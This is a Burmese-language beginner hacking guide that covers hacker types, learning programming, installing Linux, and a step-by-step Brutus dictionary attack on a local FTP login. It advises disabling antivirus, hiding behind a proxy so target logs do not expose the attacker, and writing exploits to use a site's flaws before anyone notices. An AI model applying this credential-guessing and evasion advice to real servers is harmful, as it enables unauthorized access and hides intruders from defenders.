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Chapter One 
Introduction 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



ဟကၠာ ဆိုတာ ဘာလဲ 

 ဟကၠာဆိုတာ Aီလက္ထေရာနစ္ ပစၥည္းေတြ၊ ကြန္ပ်ဴတာစနစ္ေတြကို Aလြန္ကလိခ်င္သူေတြပါ။ 

ဟကၠာေတြဟာ ကြန္ပ်ဴတာစနစ္ေတြ Aလုပ္လုပ္ပုံ ကို စူးစမ္းေလ့လာခ်င္သူေတြျဖစ္ၾကၿပီး၊ Aဲဒီစနစ္ေတြ 

ပိုမိုေကာင္းမြန္ေAာင္ လုပ္ေဆာင္ႏိုင္ဖို႕ နည္းလမ္းရွာခ်င္သူေတြပါ။ ဟကၠာ ႏွစ္မ်ိဳးရွိပါတယ္။ 

 

White Hat - သူတို႕ကိုေတာ့ လူေကာင္းေလးေတြAျဖစ္ သတ္မွတ္ၾကပါတယ္။ 

ဒီAျဖဴေရာင္ဟကၠာေလးမ်ားဟာ သူတို႕Aစြမ္းေတြကို မသမာတဲ့ရည္ရြယ္ခ်က္Aတြက္ 

Aသုံးမျပဳၾကပါဘူး။ မ်ားေသာAားျဖင့္ သူတို႕ဟာ Security ပိုင္းမွာ ဂုရုေတြ ျဖစ္လာၾကၿပီး၊ Black Hat 

ေတြရဲ႕ ရန္ကေန ကာကြယ္ေပးတတ္ၾကပါတယ္။ 

 

Black Hat - သူတို႕ကေတာ့ လူဆိုးေလးေတြေပါ့။ သူတို႕ကေတာ့ သူတစ္ပါးထိခိုက္နစ္နာေစလုိတဲ့ 

ရည္ရြယ္ခ်က္နဲ႕ Aစြမ္းေတြကို ထုတ္သုံးၾကပါတယ္။ ဘဏ္ေတြကို hack တာ၊ Credit card နံပါတ္ေတြ 

ခိုးတာ၊ Website ေတြကို Aိုးမည္းသုတ္တာ သူတို႕ေတြေပါ့။ 

 

လူေကာင္းေတြက Uီးထုပ္ျဖဴေဆာင္းၾကၿပီး၊ လူဆိုးေတြက Uီးထုပ္နက္ေဆာင္းၾကတယ္ဆိုတဲ့ 

Aေနာက္တိုင္းေရွးရုပ္ရွင္ေတြကေန ဆင္းသက္လာတဲ့ စကားလုံးေတြပါ။ 

 

 

Hacker Aဆင့္Aတန္းမ်ား 

Script kiddies - ဒီAဆင့္ကသူေတြကေတာ့ ကိုယ့္ကုိယ္ကိုယ္ ဟကၠာ ဂိုက္ဖမ္းေနသူေတြပါ။ 

ဟကၠာေလာကမွာေတာ့ သူတို႕ကို ဘယ္သူကမွ Aဖက္မလုပ္ၾကပါဘူး။ ဘာလို႕လဲဆိုေတာ့ 

ဟကၠာလို႕ေျပာလိုက္ရင္ ငဆိုးေတြလို႕ပဲ လူေတြျမင္ၾကေAာင္ သူတို႕လုပ္တာေလ။ သူတို႕မွာ ဘာ 

hacking စြမ္းရည္မွ မရွိပါဘူး။ တစ္ျခား ဟကၠာေတြေရးထားတဲ့ tools ေတြကို ဘာမွန္းမသိ ညာမွန္းမသိ 

သုံးေနၾကရတဲ့ သူေတြပါ။ 

 

Intermediate hackers - သူတို႕ကေတာ့ ကြန္ပ်ဴတာေတြAေၾကာင္း၊ network 

ေတြAေၾကာင္းသိၾကၿပီး၊ script တစ္ခုဘာလုပ္တယ္ဆိုတာကို သိႏိုင္ေလာက္တဲ့ programming 

knowledge ရွိၾကသူေတြပါ။ ဒါေပမယ့္ သူတို႕လည္း Script kiddies ေတြလိုပဲ သူမ်ားေရးထားတဲ့ 

လူသိမ်ားတဲ့ exploits ေတြကို Aသုံးျပဳေနရသူေတြပါ။ 

(Exploit ဆိုတာ ေဆာ့၀ဲလ္တစ္ခုရဲ႕ Aားနည္းခ်က္/ခ်ိဳ႕ယြင္းခ်က္ေတြကတဆင့္ computer system 

တစ္ခုကို ထိန္းခ်ဳပ္ႏိုင္ေAာင္ လုပ္ေပးတဲ့ code တစ္ခ်ိဳ႕ပါ။) 



3l173 hackers 

 သူတို႕ကေတာ့ ဟကၠာဂုရုႀကီးေတြေပါ့။ hacking tools ေတြ၊ exploits ေတြကို 

ေရးေနၾကသူေတြေပါ့။ သူတို႕ဟာ system ေတြထဲ ေဖာက္၀င္၊ သူတို႕ရဲ႕ေျခရာကိုေဖ်ာက္ၿပီး 

တစ္ေယာက္ေယာက္ လုပ္သြားသလိုထင္ေAာင္ လုပ္ႏုိင္ၾကသူေတြပါ။ ဒီAဆင့္ေရာက္ေAာင္ 

ႀကိဳးစားသင့္ၾကပါတယ္။ 

 

Hacker တစ္ေယာက္ျဖစ္ဖို႕ ဘာေတြလိုသလဲ 

 ဟကၠာဂုရုတစ္ေယာက္ျဖစ္ဖို႕Aတြက္ သိပ္ေတာ့ မလြယ္ပါဘူး။ ျမန္ျမန္ႀကီးျဖစ္လာမွာ 

မဟုတ္ပါဘူး။ ထိုးထြင္းတီထြင္Uာဏ္ A မ်ားႀကီးလိုပါတယ္။ A ခက္A ခဲျပႆနာတစ္ခုကို ေျဖရွင္းႏိုင္တဲ့ 

နည္းလမ္းဟာ တစ္ခုတည္းရွိတာမဟုတ္သလို ဟကၠာတစ္ေယာက္ဟာလည္း A ခက္A ခဲေပါင္း 16000 

နဲ႕ ရင္ဆုိင္ရမွာပါ။ ထိုးထြင္းUာဏ္ရွိေလ system တစ္ခုကို A တားA ဆီးမရွိ ထုိးေဖာက္ႏိုင္ဖို႕ 

A ခြင့္A လမ္းဟာလည္း ပိုမ်ားေလပါပဲ။ A ေရးႀကီးတာေနာက္တစ္ခုကေတာ့ သင္ယူခ်င္တဲ့ 

ဆႏၵျပင္းထန္ဖို႕ပါ။ A သိUာဏ္ပညာဟာ စြမ္းA ားဆိုတာ သတိရပါ။ A ေၾကာင္းေတာ္ေတာ္မ်ားမ်ားဟာ 

မွတ္မိဖို႕မလြယ္ပါဘူး၊ ဒါေၾကာင့္ စိတ္ရွည္သည္းခံတတ္ဖို႕လည္း လိုပါတယ္။ 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 
 
 
 
 
 
 

Chapter Two 
Programming 

 
 
 
 
 
 
 
 
 
 
 
 
 
 

 
 
 



Programming Aေၾကာင္း လုံး၀မသိဘဲ တစ္ျခားသူေတြေရးထားတဲ့ Hacking tools ေတြကို 

Aသုံးခ်တတ္ရုံနဲ႕လည္း သင့္တင့္တဲ့ ethical hacker တစ္ေယာက္ ျဖစ္ေကာင္းျဖစ္လာႏုိင္ပါတယ္။ ဒီလို 

tools ေတြကို သုံးေနရင္ေတာ့ ဒီ tools ေတြရဲ႕ Aလုပ္လုပ္ပုံကို ဘယ္ေလာက္သိပါတယ္လို႕ ေျပာေျပာ 

ကိုယ့္ကို Script kiddies Aျဖစ္ပဲ သတ္မွတ္ၾကပါလိမ့္မယ္။ ဒါေၾကာင့္ programming ကို 

ေလ့လာသင့္တယ္လို႕ Aႀကံေပးပါရေစ။ program ေတြေကာင္းေကာင္းေရးတတ္သြားရင္ exploits 

ေတြကိုလည္း ကိုယ့္ဟာကိုယ္ ေရးႏိုင္ၿပီေပါ့။ ဒီလိုေရးႏိုင္သြားရင္ ေAာက္ပါ ေကာင္းက်ိဳးႀကီးေတြ 

ခံစားရပါလိမ့္မယ္။  

1. သင့္ကို ဟကၠာဂုရု Aျဖစ္ သတ္မွတ္ၾကပါလိမ့္မယ္။  

2. သင္ဟာ site တစ္ခုရဲ႕ ဟာကြက္တစ္ခုကို ေတြ႕သြားတဲ့ black hat တစ္ေယာက္ ဆိုၾကပါစို႕၊ 

ဘယ္သူမွ မသိခင္ Aဲဒီ ဟာကြက္ကို ေကာင္းေကာင္းAသုံးခ်ဖို႕ exploit တစ္ခုကို ကိုယ့္ဟာကိုယ္ 

ေရးလို႕ရၿပီေပါ့။  

3. ကိုယ္ပိုင္ program (သုိ႕) exploit တစ္ခုကို ေရးသားဖန္တီးၿပီးသြားခ်ိန္မွာ ကိုယ့္ဟာကိုယ္လည္း 

Aရမ္း Aားရေက်နပ္မိေနပါလိမ့္မယ္။ (ေက်နပ္Aားရေစရမယ္လို႕ ကၽြန္ေတာ္ ကတိေပးပါတယ္) 

မူရင္းေရးသူေျပာတာေနာ္ 

 ဒါေၾကာင့္ သူမ်ားေရးၿပီးသား tool ေတြကို သုံးေနရတဲ့ hacker Aျဖစ္နဲ႕ ေက်နပ္မေနပါနဲ႕။ 

Programming Aေျခခံေလးပျဲဖစ္ျဖစ္ စတင္သင္ယူပါ။ သင့္ကို ဟကၠာေလာကသစ္ႀကီးက 

ႀကိဳဆိုေစာင့္ေမွ်ာ္ေနပါတယ္။ 

 
ဘယ္က စတင္ေလ့လာရမလဲ? 

 Programming ကို စေလ့လာေတာ့မယ္ဆိုရင္ လူေတာ္ေတာ္မ်ားမ်ား ဘယ္က စရမွန္း 

မသိၾကပါဘူး။ Programming ကို စမေလ့လာခင္ HTML (Hyper Text Markup Language) ကို 

Aရင္ပိုင္ႏိုင္ေAာင္ ေလ့လာသင့္တယ္လို႕ ထင္ပါတယ္။ Aင္တာနက္မွာ သင္Aခု ေတြ႕ေနရတဲ့ website 

စာမ်က္ႏွာေတြAားလုံးကို ဖန္တီးရာမွာ HTML ဟာ Aဓိကေနရာက ပါေနပါတယ္။ HTML 

ဟာသင္ယူေလ့လာရလြယ္ကူပါတယ္။ 

 

Aဲဒီကမွ တဆင့္ ေနာက္ထပ္ေလ့လာရမယ့္ Programming Language ကေတာ့ C ပါ။ C ဟာ 

လူႀကိဳက္မ်ားတဲ့ language တစ္ခုျဖစ္ၿပီး ဒီေန႕ေတြ႕ေနရတဲ့ Exploit ေတာ္ေတာ္မ်ားမ်ားကို C နဲ႕ 

ေရးထားတာပါ။ ဒါတင္မက Aစြမ္းထက္လွတဲ့ Hacking program ေတြ၊ ဒီကေန႕ ေတြ႕ေနရတဲ့ Virus 

ေတြကိုလည္း C နဲ႔ပဲ ေရးသားထားတာပါ။ 

 
 



Aေကာင္းဆုံး ေလ့လာနည္း 

1. ကိုယ္ေလ့လာဖို႕ ေရြးလိုက္တဲ့ Language နဲ႕ဆိုင္တဲ့ စာAုပ္ေတြကို ရွာဖတ္ပါ။ 

2. AဲဒီစာAုပ္ကို စၿပီးေလ့လာၿပီဆိုတာနဲ႕ ဆက္တိုက္ေလ့လာပါ။ သိပ္Aၾကာႀကီး မနားပါနဲ႕။ 

ဆိုလိုတာက ႏွစ္ရက္ေလာက္ဖတ္လိုက္၊ ႏွစ္ပတ္ေလာက္နားလိုက္ မလုပ္ပါနဲ႕။ 

Aၾကာႀကီးနားလိုက္ရင္ ေနာက္သင္ခန္းစာေတြAတြက္ Aေထာက္Aကူျဖစ္တဲ့ ေရွ႕ပုိင္းက 

ကိုယ္ေလ့လာထားတာေတြ ေမ့သြားတတ္လို႕ပါ။ 

3. စာAုပ္ထမဲွာ ေပးထားတဲ့ ေလ့က်င့္ခန္း မွန္သမွ်ကို လုပ္ပါ။ တတ္ေျမာက္ဖို႕ဆိတုာ 

သင္ယူထားတာကို Aသုံးခ်မွ ျဖစ္မွာပါ။ 

4. နားမလည္တာ၊ မရွင္းတာ တစ္ခုခုေတြ႕ရင္ Aဲဒါကို ေက်ာ္မဖတ္ပစ္ပါနဲ႕။ နားလည္ေAာင္ 

ျပန္ေလ့လာပါ။ ဒါဟာ ေလ့လာရမယ့္ နည္းAမွန္ပါပဲ။ Aႀကိမ္ႀကိမ္ျပန္ဖတ္တာေတာင္ 

လုံး၀နားမလည္ဘူးဆိုရင္ ကူညီေပးႏုိင္မယ့္ သူတစ္ေယာက္ေယာက္ရွာပါ။ 

5. Programming Forum တစ္ခုကို ၀င္ပါ။ ကိုယ္ေလ့လာေနတဲ့ Language န႕ဲလည္း ပတ္သက္၊ 

user လည္းမ်ားမ်ားရွိတဲ့ site ကိုရွာပါ။ ကိုယ္နားမလည္တာေတြကို ကူညီေပးႏုိင္မယ့္သူေတြ 

Forum ေတြမွာ ရွိတတ္ၾကပါတယ္။ 

6. လက္ေတြ႕ေရးသားၾကည့္ပါ။ ကိုယ္ေရးသားႏုိင္မယ့္ ေပ်ာ္စရာ Program ေလးေတြကို စU္းစားၿပီး 

ကိုယ္တိုင္ ေရးသားၾကည့္ပါ။ 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 
 
 

 
 
 
 
 
 
 

Chapter Three 
Linux 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



Aဲဒါ ဘာႀကီးလဲ? 

Linux ဆိုတာ Aလကားရၿပီး UNIX နဲ႕Aလားသ႑န္တူတဲ့ open-source OS တစ္ခုပါ။ Hacking 

ဘာသာရပ္ေတြကို ေလ့လာစU္တစ္ေလွ်ာက္မွာ Linux OS ကို Aသုံးျပဳတတ္ဖို႕ဆိုတာလည္း 

ဘယ္ေလာက္Aေရးပါေၾကာင္း သင္ေတြ႕ရမွာပါ။ မယုံဘူးလား? ဒါဆို ေနာက္ႏွစ္ခ်က္ေလာက္ 

ထပ္ေျပာလုိက္မယ္။ 

၁. Aင္တာနက္ေပၚက ဆာဗာသန္းေပါင္းမ်ားစြာဟာ Linux OS ေပၚမွာ Run ေနၾကတာပါ။ ဒီလို Web 

Server ေတြကို ထိုးေဖာက္ႏိုင္ေAာင္ ဒီ OS ကိုေတာ့ ေလ့လာသင့္တာေပါ့။ 

၂. Aေကာင္းဆုံးဆိုတဲ့ Hacking Program တစ္ခ်ိဳ႕ကို Linux ေပၚမွာပဲ သုံးလို႕ရတယ္။ 

 

Choosing a distribution 

Linux Distribution တစ္ခုကို Linux kernel လို႕လည္း သတ္မွတ္ႏိုင္ပါတယ္။ (Linux Kernel – 

Operating System တစ္ခုရဲ႕ Aဓိက component ေတြနဲ႕ Aျခား application မ်ား စုစည္းပါရွိ) Linux 

ကို Aခုမွ စတင္Aသုံးျပဳသူဆိုရင္ Ubuntu ကို စၿပီး သုံးၾကည့္ဖို႕ Aႀကံဳျပဳခ်င္ပါတယ္။ Ubuntu ဟာ 

Install လုပ္ရလည္းလြယ္၊ Windows သုံးေနသူေတြAတြက္ user friendly လည္းျဖစ္ပါတယ္။ 

လူႀကိဳက္မ်ားေရပန္းAစားဆုံး Linux Distribution မ်ားကို ဒီလင့္ခ္မွာ သြားၾကည့္ႏုိင္ပါတယ္။ 

http://distrowatch.com 

 
 
 
 
Running Linux 

Live CD  

Live CD ဟာ Linux distribution တစ္ခုကို စမ္းသပ္သုံးစြဲၾကည့္ဖို႕ ျဖစ္ပါတယ္။ Live CD ဟာ Disc 

ေပၚကပဲ Boot လုပ္သြားတာျဖစ္တဲ့Aတြက္ OS ကို Hard drive ထဲ install လုပ္ထည့္စရာမလိုပါဘူး။ 

Disc ေပၚကေန boot လုပ္ျခင္းျဖစ္တဲ့Aတြက္ system file ေတြကိုလည္း ျပဳျပင္ေျပာင္းလဲေပးလို႕ 

ရမွာမဟုတ္ပါဘူး။ Live CD နဲ႕ A သုံးျပဳေနစU္မွာ လုပ္ေဆာင္ခ်က္A ားလုံးကို RAM ထဲမွာ ယာယီ 

သိုမွတ္ထားတာပါ။ Live CD တစ္ခ်ပ္ ဘယ္လိုလုပ္ရမလဲဆိုတာ ေA ာက္မွာ ေဖာ္ျပထားပါတယ္။ 

၁. www.ubuntu.com မွ Ubuntu Live CD .iso file ကို download လုပ္ယူပါ။ 

ပုံ - 1. 2. 3. 4. 



 



 
 
 
 



 



 
 
၂. IsoRecorder ကို Download လုပ္ၿပီး စက္ထဲသြင္းလိုက္ပါ။ 

http://isorecorder.alexfeinman.com/isorecorder.htm  

ဒီ software နဲ႕ Ubuntu .iso file ကို စီဒီလြတ္တစ္ခ်ပ္ေပၚသို႕ burn လုပ္ပါ။ 

၃. Burn ၿပီးသြားတဲ့ CD ကို CD-ROM ထဲ ထည့္ထားၿပီး ကြန္ပ်ဴတာကို Restart လုပ္ပါ။ 

 

 Aကယ္၍ သင့္ကြန္ပ်ဴတာဟာ CD ကေန Boot မလုပ္ဘဲ၊ windows ကိုသာ ဆက္ Boot ေနရင္ 

Boot order ကို ေျပာင္းလဲေပးဖို႕ လိုပါလိမ့္မယ္။ ကြန္ပ်ဴတာ Restart လုပ္ေနခ်ိန္မွာ BIOS ထဲ 

၀င္ေျပာင္းေပးရမွာျဖစ္ပါတယ္။ BIOS ထဲ၀င္တဲ့ key ဟာ system တစ္ခုနဲ႕ တစ္ခု ကြဲျပားပါတယ္။ 

မ်ားေသာAားျဖင့္ F10 (သို႕) DEL (သို႕) ESC key တို႕ ကို ႏွိပ္ရပါမယ္။ Boot စလုပ္လုပ္ျခင္း Screen 

မွာ To Enter Setup ဆိုၿပီး ႏွိပ္ဖို႕ key ကို ေရးျပထားေလ့ရွိပါတယ။္ 

ပုံ - 5.  



 
 
BIOS ထဲေရာက္သြားရင္ Boot sequence ကိုေရြးၿပီး CD-ROM ကို First boot device Aျဖစ္ ေရြးေပးပါ။ 
ပုံ - ၆၊ ၇ 



 



 
  
CD-Rom ကေန Boot လုပ္ေပးလိုက္ၿပီဆိုရင္ Ubuntu boot options screen ကို 

ေAာက္ကAတိုင္းျမင္ရပါလိမ့္မယ္။ 

ပုံ- ၈ 



 
 
 
 
 
 
Virtual Box 

Linux ကို ကိုယ့္ရဲ႕ windows ထမဲွာပဲ Aသုံးျပဳခ်င္တယ္ဆိုရင္ Virtual Machine တစ္ခုကို Virtual Box 

နဲ႕ Create လုပ္ၿပီး သုံးစြဲႏိုင္ပါတယ္။ 

၁. ပထမဆုံး Virtual Box ကို http://www.virtualbox.org/wiki/Downloads ကေန download 

လုပ္ယူပါ။ 

၂. ၿပီးရင္ Install လုပ္လိုက္ပါ။ 

၃. Run လိုက္ၿပီး ထိပ္ဆုံးက New ဆိုတာကို ႏွိပ္ပါ။ 

ပုံ - ၉ 

 



 
၄. Next ကို ႏွိပ္ပါ။ 
ပုံ - ၁၀ 

 
၅. Virtual Machine Aတြက္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရြးေပးပါ။ 
ပုံ- ၁၁ 

 



၆. Linux ကို Run ဖို႕ Aတြက္ RAM ပမာဏကို ေရြးေပးပါ။ ကိုယ့္စက္မွာ တပ္ထားတဲ့ RAM ပမာဏရဲ႕ 4 

ပုံတစ္ပုံ (သို႕) တစ္၀က္ ေလာက္ေရြးေပးပါ။ ကၽြန္ေတာ္ကေတာ့ 2 gigs RAM တပ္ထားလို႕ 512 MB 

ေရြးေပးပါတယ္။ 

ပုံ- ၁၂ 

 
၇. Next ကို ႏွိပ္ပါ။ 
ပုံ - ၁၃ 

 



 
၈. ကုိယ့္ hard disk မွာ Space ေတြAမ်ားႀကီး ရွိရင္ Dynamic Image ကိုေရြးေပးပါ။ ဒါဆို Program 
ေတြAမ်ားႀကီးသြင္းဖို႕ Aဆင္ေျပမွာပါ။ Space နည္းေနရင္ေတာ့ Fixed-Size Image ကို ေရြးေပးပါ။  
ပုံ - 14 

 
၉. Virtual Hard Disk Size ပမာဏကို သတ္မွတ္ေပးပါ။ ကၽြန္ေတာ္ကေတာ့ Aနည္းဆုံး 2 GB 
ေလာက္ထားပါတယ္။ 
ပုံ - ၁၅ 

 



 
၁၀. Finish ကုိ ႏွိပ္လိုက္ပါ။ 
ပုံ - ၁၆ 

 
၁၁. Next ကို ႏွိပ္ပါ။ 
ပုံ- ၁၇ 

 
 
 



 
၁၂. Finish ကို ႏွိပ္လိုက္ပါ။ 
ပံု - ၁၈ 

 
၁၃. Aခု Main Page ကို ျပန္ေရာက္သြားပါလိမ့္မယ္။ CD/DVD-ROM ကုိ ကလစ္ႏွိပ္ပါ။ 
ပုံ - 19 

 
 
 
 
 
 
 



၁၄. Mount CD/DVD Drive ကို Check ေပးၿပီး စက္ထဲမွာ Ubuntu Live CD ရဲ႕ ISO Image ဖိုင္ 

ရွိေသးရင္ ISO Image File ကိုေရြးပါ။ မရွိေတာ့ဘူး၊ Aျပင္မွာ ေခြနဲ႕ရွိရင္ Host CD/DVD Drive ကို 

ေရြးေပးၿပီး ေခြထည့္ Run လို႕ရပါတယ္။ 

ပုံ - 20 

 
၁၅. Main Screen က Start ခလုတ္ကို ႏွိပ္ၿပီး Virtual Machine ကို စတင္လိုက္ပါ။ 
ပုံ - 21 

 
 
 
 
 
 
 
 



 
Learning Linux 

Linux ကို Aခု Run ေန၊ သုံးေနၿပီဆိုရင္ ဘာေတြဘယ္လိုAသုံးျပဳရမလဲဆိုတာ သိခ်င္မွာပါပဲ။ 

ကိုယ္ေရြးခ်ယ္လိုက္တဲ့ Linux Distribution ကို ပိုင္ပိုင္ႏိုင္ႏိုင္ Aသုံးျပဳႏိုင္ဖို႕ စတင္ေလ့လာသင့္ပါတယ္။ 

Linux Distribution တိုင္းမွာ သင့္ကို ကူညီေပးႏိုင္မယ့္ Community ေတြ Aမ်ားႀကီးရွိၾကပါတယ္။ 

Google နဲ႕သာ ရွာၾကည့္လိုက္ပါ။ Uပမာ - Ubuntu ကုိေရြးခ်ယ္ထားတယ္ဆိုရင္ေတာ့ 

http://ubuntuforums.org/ ကို သြားေရာက္ေလ့လာၾကည့္ပါ။ Linux နဲ႕ဆိုင္တဲ့ စာAုပ္ေတြကို ဖတ္ပါ။  

 

Linux Aေၾကာင္း သင္ၾကားေပးတဲ့ Websites ေတြလည္း Aမ်ားႀကီးရိွပါတယ္။ 

Official Linux Website – http://www.linux.org/ 

Begin Linux – http://www.beginlinux.org/ 

Linux Tutorials – http://www.linux-tutorial.info/ 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 
 
 

 
 
 
 
 
 
 

Chapter Four 
Passwords 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 
Website နဲ႕ Computer System Aမ်ားစုရဲ႕ Security ပုံစံဟာ Password ပါပဲ။ သင့္ ကြန္ပ်ဴတာ 

(သို႕) Network ကို က်ဴးေက်ာ္ႏုိင္ဖို႕ Password crack ျခင္းဟာ ေယဘုယ်Aက်ဆုံးနဲ႕ 

Aလြယ္ဆုံးနည္းလမ္းတစ္ခု ျဖစ္လာေနပါၿပီ။ 

 

Password Cracking 

(Social Engineering, Shoulder surfing နဲ႕ Guessing ဆုိတဲ့ ေခတ္ေဟာင္းက low-tech password 

cracking techniques ေတြAေၾကာင္း မျပန္ေတာ့ပါဘူး။) 

High-Tech Password Cracking နည္းလမ္းAခ်ိဳ႕ကို ေလ့လာၾကည့္ၾကရေAာင္… 

Aခုေဖာ္ျပမယ့္ Example ေတြမွာ Aသုံးျပဳမယ့္ ပရိုဂရမ္တစ္ခ်ိဳ႕ကို antivirus program ေတြက block 

ပစ္ႏိုင္ပါတယ္။ ဒါေၾကာင့္ ဒီ ပရိုဂရမ္ေတြကို Download လုပ္ၿပီး ေလ့လာၾကည့္မယ္လို႕ ဆုံးျဖတ္ၿပီးရင္ 

Antivirus Program ကို Disable လုပ္ထားပါ။ 

 

Dictionary Attacks 

 ေပးေလ့ေပးထရွိတဲ့ Password စကားလုံးေတြ ပါ၀င္တဲ့ Text File တစ္ခုကို A သုံးျပဳၿပီး 

တိုက္ခိုက္ျခင္းကို Dictionary Attack လို႕ ေခၚပါတယ္။ A ားေကာင္းတဲ့ Password ေတြကိုေတာ့ 

ဒီနည္းနဲ႕ တိုက္ခိုက္လို႕မရပါဘူး။ ဒီ Example မွာေတာ့ Brutus လို႕ေခၚတဲ့ Password Cracker 

တစ္ခုကို A သုံးျပဳသြားပါမယ္။FTP Server တစ္ခုရဲ႕ Password ကို ရွာမွာပါ။ Brutus ကို Windows 

မွာသာ A သုံးျပဳႏုိင္ပါတယ္။ ဒီ Chapter A ဆုံးမွာ Windows ေကာ၊ Mac, Linux ေတြမွာေကာ 

A သုံးျပဳႏိုင္မယ့္ Password Cracker ေတြကို ေဖာ္ျပေပးပါမယ္။ Example ကုိ စမေျပာခင္မွာ FTP 

Server ဘာလဲဆိုတာ သိထားဖို႕လိုပါတယ္။ FTP – File Transfer Protocol. Internet မွာ File ေတြ 

လႊဲေျပာင္းေပးဖို႕A တြက္ FTP ဟာ A ရိုးရွင္းဆုံးနည္းလမ္းတစ္ခုပါ။ Website တစ္ခုရဲ႕ ftp access ကို 

ဟကၠာတစ္ေယာက္ရရွိသြားၿပီဆိုရင္ A ဲဒီ Server မွာ သူႀကိဳက္သလို Delete/Upload လုပ္ႏိုင္ပါၿပီ။ ftp 

address ဟာ Web address နဲ႕ A လားသ႑န္တူပါတယ္။ Website လိပ္စာကို ေရွ႕က http:// ခံသလို 

ftp address ကို ေရွ႕က ftp:// ခံပါတယ္။ ဒီ Example က FTP Server ကေတာ့ ကိုယ့္စက္ေပၚမွာ Set 

up လုပ္ထားတဲ့ FTP Server ပါ။ Brutus Program ကို ဒီမွာ http://www.hoobie.net/brutus/ မွာ 

Download လုပ္ယူပါ။ 

 

၁. ပထမဆုံး ဟကၠာဟာ Target computer ကို ေရြးခ်ယ္ရပါမယ္။ ဒီ Example မွာေတာ့ စာေရးသူရဲ႕ 

ကြန္ပ်ဴတာကို A ေျခခံၿပီး ရွင္းျပထားတာ ျဖစ္တဲ့A တြက္ သူ႕ကြန္ပ်ဴတာရဲ႕ IP Address က 127.0.0.1 

ျဖစ္ပါတယ္။ 



၂. ftp://127.0.0.1 ကို သြားလိုက္တာနဲ႕ User Name နဲ႕ Password ေတာင္းတဲ့ Pop-up box တစ္ခု 

ေပၚလာပါမယ္။ 

ပုံ - 22 

 
 
၃. ေနာက္.. ဟကၠာဟာ Brutus လို program တစ္ခုကို ဖြင့္ၿပီး Password ကို စၿပီး Crack 

ဖို႕ႀကိဳးစားပါမယ္။ 

ပုံ - 23 

 
 
၄. Target ေနရာမွာ website ရဲ႕ IP Address ကိုထည့္ၿပီး ညာဘက္က Type မွာေတာ့ 

သင့္ေတာ္ရာတစ္ခုကို ေရြးေပးရပါမယ္။ ဒီမွာေတာ့ FTP ကိုေရြးပါမယ္။ 

 

၅. Default port ကေတာ့ 21 ကိုေရြးထားေပးၿပီးသားပါ။ ဒါေပမယ့္ တစ္ခ်ိဳ႕ website ေတြကေတာ့ 

ပိုမိုလုံၿခံဳမႈရွိေစရန္ ေျပာင္းလထဲားတတ္ပါတယ္။ 

 



၆. FTP Server ရဲ႕ User name ကို မသိဘူးဆိုရင္ AေပးAမ်ားဆုံး User name ေတြနဲ႕ 

ရွာေပးပါလိမ့္မယ္။ 

 

၇. Dictionary Attack ျဖစ္တဲ့A တြက္ Pass Mode ကို Word List ေရြးေပးရပါမယ္။ Word List 

ေတြပါတဲ့ ဖိုင္ကို Pass File ေနရာမွာ browse လုပ္ေရြးထည့္ေပးရပါမယ္။ ျပည့္စုံေကာင္းမြန္တဲ့ 

Password list ဖိုင္ေတြကို http://packetstormsecurity.org/Crackers/wordlists/ ကေန 

ရယူႏိုင္ပါတယ္။ Username နဲ႕ Password list ေတြရဲ႕ နမူနာပုံစံေတြပါ။ 

ပုံ - 24. 25 

 

 
 
 
 
 
 
 



၈. Start ကိုႏွိပ္လိုက္တာနဲ႕ ပရိုဂရမ္ဟာစၿပီး Server ကိုဆက္သြယ္ဖို႕ ႀကိဳးပမ္းပါလိမ့္မယ္။ ၿပီးေတာ့ 

ကိုယ္ထည့္ေပးထားတဲ့ word list ေတြထကဲေန ျဖစ္ႏုိင္ေခ်ရွိတဲ့ username နဲ႕ password ကို 

စရွာပါလိမ့္မယ္။ 

ပုံ - 26 

 
 
၉. ကံေကာင္းတယ္ဆိုရင္ေတာ့ ေနာက္ဆုံးမွာ Username နဲ႕ Password ကို ရသြားပါလိမ့္မယ္။ 

ေAာက္ကပုံမွာေတာ့ Username – admin နဲ႕ Password – password ဆိုတဲ့ မွန္ကန္တဲ့ username 

ရယ္၊ password ရယ္ ရသြားပါတယ္။ 

ပံု - 27 

 
 
 
 
 
 
 
 
 
 
 
 



၁၀. ပါးနပ္တဲ့ ဟကၠာတစ္ေယာက္ဟာ ဒီလိုပရိုဂရမ္ေတြကို သုံးၿပီဆိုရင္ Proxy နဲ႕ပဲ သုံးေလ့ရွိပါတယ္။ 

ကိုယ့္ရဲ႕ IP Address ကို Proxy က ဖုံးAုပ္ထားေပးပါတယ္။ ဘာလို႕ Proxy ကို သုံးရလဲဆိုေတာ့ 

ေAာက္ပုံမွာ ျမင္ရတဲ့Aတိုင္းပဲ Brutus ဟာ Target Server ထဲ ကိုယ၀္င္သြားတယ္ဆိုတာကို Log ေတြ 

Aမ်ားႀကီး ခ်န္ထားခဲ့ပါတယ္။ 

ပုံ - 28 

 
 
၁၁. Aေပၚပုံထကဲ IP Address 127.0.0.1 ဆိုတဲ့ ေနရာမွာ တကယ္ Attack လုပ္တဲ့Aခ်ိန္မွာ Proxy 

မသုံးဘူးဆိုရင္ ဟကၠာရဲ႕ Aိုင္ပီ ေပၚေနမွာျဖစ္ပါတယ္။ ေဖာက္သြားတဲ့ ဟကၠာဟာ 

ဒီလိုေျခရာက်န္ခဲ့မွေတာ့ Aဖမ္းခံရၿပီေပါ့။ 

 
 



Brute-force Attacks  

Brute-force Attack ဟာ password Aမွန္ကို မေတြ႕မခ်င္း ျဖစ္ႏုိင္ေခ်ရွိတဲ့ letters ေတြ၊ number 

ေတြ၊ Special character ေတြရဲ႕ တြဲစပ္ၿပီး ရွာပါတယ္။ Brute-force Attack ဟာ Aခ်ိန္မ်ားစြာ 

ၾကာႏိုင္ပါတယ္။ ၾကာျမင့္ခ်ိန္ဟာ password ရဲ႕ ရႈပ္ေထြးမႈ၊ cracking program ကို Run ေနတဲ့ 

ကြန္ပ်ဴတာရဲ႕ Speed ေတြAေပၚမွာ မူတည္ပါတယ္။  

Aခု ခုနက FTP Server ကိုပဲ၊ Brutus ကိုသုံးၿပီးပဲ Brute-force Attack နဲ႕ password ကို Crack 

လုပ္ပါမယ္။ 

